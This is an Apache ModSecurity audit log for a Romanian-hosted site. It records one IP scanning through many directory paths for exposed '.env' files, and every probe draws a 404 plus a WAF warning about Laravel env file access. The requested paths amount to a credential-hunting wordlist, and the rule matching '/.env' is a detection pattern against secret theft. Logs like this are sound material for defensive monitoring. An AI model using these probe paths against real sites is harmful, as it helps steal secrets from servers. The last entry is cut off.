User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a5540354-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a5540354-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/redis/.env"] [unique_id "aqYMcUwu1RSkptiiNIXtzQAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267057833959 173997 (- - -)
Stopwatch2: 1789267057833959 173997; combined=5536, p1=300, p2=5177, p3=0, p4=0, p5=59, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5540354-Z--
--6c723702-A--
[13/Sep/2026:05:37:40.027575 +0300] aqYMczTJ6xTvcJoem7f1lgAAAE4 34.175.231.24 43122 127.0.0.1 7081
--6c723702-B--
GET /elasticsearch/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--6c723702-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c723702-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/elasticsearch/.env"] [unique_id "aqYMczTJ6xTvcJoem7f1lgAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267059893788 133883 (- - -)
Stopwatch2: 1789267059893788 133883; combined=8907, p1=3334, p2=5501, p3=0, p4=0, p5=71, sr=988, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c723702-Z--
--cd4cc919-A--
[13/Sep/2026:05:37:42.038778 +0300] aqYMdWM7dE9KgIIOpQheAAAAAMw 34.175.231.24 43138 127.0.0.1 7081
--cd4cc919-B--
GET /rabbitmq/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--cd4cc919-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cd4cc919-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/rabbitmq/.env"] [unique_id "aqYMdWM7dE9KgIIOpQheAAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267061918131 120722 (- - -)
Stopwatch2: 1789267061918131 120722; combined=4476, p1=327, p2=4092, p3=0, p4=0, p5=56, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cd4cc919-Z--
--950c315e-A--
[13/Sep/2026:05:37:44.668002 +0300] aqYMeEwu1RSkptiiNIXtzgAAAJc 34.175.231.24 43140 127.0.0.1 7081
--950c315e-B--
GET /kafka/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--950c315e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--950c315e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/kafka/.env"] [unique_id "aqYMeEwu1RSkptiiNIXtzgAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267064549238 118834 (- - -)
Stopwatch2: 1789267064549238 118834; combined=4117, p1=224, p2=3824, p3=0, p4=0, p5=69, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--950c315e-Z--
--d9840939-A--
[13/Sep/2026:05:37:46.183463 +0300] aqYMekwu1RSkptiiNIXtzwAAAIY 34.175.231.24 42320 127.0.0.1 7081
--d9840939-B--
GET /queue/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d9840939-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d9840939-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/queue/.env"] [unique_id "aqYMekwu1RSkptiiNIXtzwAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267066064973 118594 (- - -)
Stopwatch2: 1789267066064973 118594; combined=6087, p1=281, p2=5685, p3=0, p4=0, p5=120, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d9840939-Z--
--a2b6a95f-A--
[13/Sep/2026:05:37:47.998572 +0300] aqYMe2M7dE9KgIIOpQheAQAAAMk 34.175.231.24 42334 127.0.0.1 7081
--a2b6a95f-B--
GET /worker/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a2b6a95f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a2b6a95f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/worker/.env"] [unique_id "aqYMe2M7dE9KgIIOpQheAQAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267067854673 143983 (- - -)
Stopwatch2: 1789267067854673 143983; combined=6160, p1=481, p2=5604, p3=0, p4=0, p5=74, sr=221, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2b6a95f-Z--
--0099c70b-A--
[13/Sep/2026:05:37:49.713723 +0300] aqYMfWM7dE9KgIIOpQheAgAAANc 34.175.231.24 42336 127.0.0.1 7081
--0099c70b-B--
GET /job/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0099c70b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0099c70b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/job/.env"] [unique_id "aqYMfWM7dE9KgIIOpQheAgAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267069582970 130810 (- - -)
Stopwatch2: 1789267069582970 130810; combined=4180, p1=275, p2=3815, p3=0, p4=0, p5=89, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0099c70b-Z--
--a59b5167-A--
[13/Sep/2026:05:37:51.659913 +0300] aqYMf2M7dE9KgIIOpQheAwAAAM8 34.175.231.24 42340 127.0.0.1 7081
--a59b5167-B--
GET /test/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a59b5167-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a59b5167-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/test/.env"] [unique_id "aqYMf2M7dE9KgIIOpQheAwAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267071524755 135215 (- - -)
Stopwatch2: 1789267071524755 135215; combined=8212, p1=1131, p2=6374, p3=0, p4=0, p5=707, sr=151, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a59b5167-Z--
--84e5547c-A--
[13/Sep/2026:05:37:53.350089 +0300] aqYMgTTJ6xTvcJoem7f1lwAAAEQ 34.175.231.24 42348 127.0.0.1 7081
--84e5547c-B--
GET /qa/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--84e5547c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--84e5547c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/qa/.env"] [unique_id "aqYMgTTJ6xTvcJoem7f1lwAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267073200061 150084 (- - -)
Stopwatch2: 1789267073200061 150084; combined=8589, p1=556, p2=7975, p3=0, p4=0, p5=58, sr=212, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84e5547c-Z--
--1838f20b-A--
[13/Sep/2026:05:37:55.423692 +0300] aqYMg0wu1RSkptiiNIXt0QAAAJE 34.175.231.24 42368 127.0.0.1 7081
--1838f20b-B--
GET /preview/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--1838f20b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1838f20b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/preview/.env"] [unique_id "aqYMg0wu1RSkptiiNIXt0QAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267075239176 184654 (- - -)
Stopwatch2: 1789267075239176 184654; combined=6149, p1=299, p2=4439, p3=0, p4=0, p5=1410, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1838f20b-Z--
--3dbd9009-A--
[13/Sep/2026:05:37:56.633292 +0300] aqYMhEwu1RSkptiiNIXt0gAAAI8 34.175.231.24 47660 127.0.0.1 7081
--3dbd9009-B--
GET /beta/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--3dbd9009-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3dbd9009-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/beta/.env"] [unique_id "aqYMhEwu1RSkptiiNIXt0gAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267076512139 121221 (- - -)
Stopwatch2: 1789267076512139 121221; combined=4684, p1=303, p2=4266, p3=0, p4=0, p5=114, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3dbd9009-Z--
--c9b9c60f-A--
[13/Sep/2026:05:37:58.892062 +0300] aqYMhmM7dE9KgIIOpQheBQAAANE 34.175.231.24 47676 127.0.0.1 7081
--c9b9c60f-B--
GET /uat/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c9b9c60f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c9b9c60f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/uat/.env"] [unique_id "aqYMhmM7dE9KgIIOpQheBQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267078755141 136978 (- - -)
Stopwatch2: 1789267078755141 136978; combined=4565, p1=259, p2=4239, p3=0, p4=0, p5=66, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c9b9c60f-Z--
--162b0c7a-A--
[13/Sep/2026:05:38:00.691265 +0300] aqYMiEwu1RSkptiiNIXt0wAAAIQ 34.175.231.24 47680 127.0.0.1 7081
--162b0c7a-B--
GET /stage/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--162b0c7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--162b0c7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/stage/.env"] [unique_id "aqYMiEwu1RSkptiiNIXt0wAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267080574828 116495 (- - -)
Stopwatch2: 1789267080574828 116495; combined=4847, p1=225, p2=4547, p3=0, p4=0, p5=75, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--162b0c7a-Z--
--1f52d37a-A--
[13/Sep/2026:05:38:03.083028 +0300] aqYMimM7dE9KgIIOpQheBgAAANY 34.175.231.24 47692 127.0.0.1 7081
--1f52d37a-B--
GET /development/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--1f52d37a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1f52d37a-H--
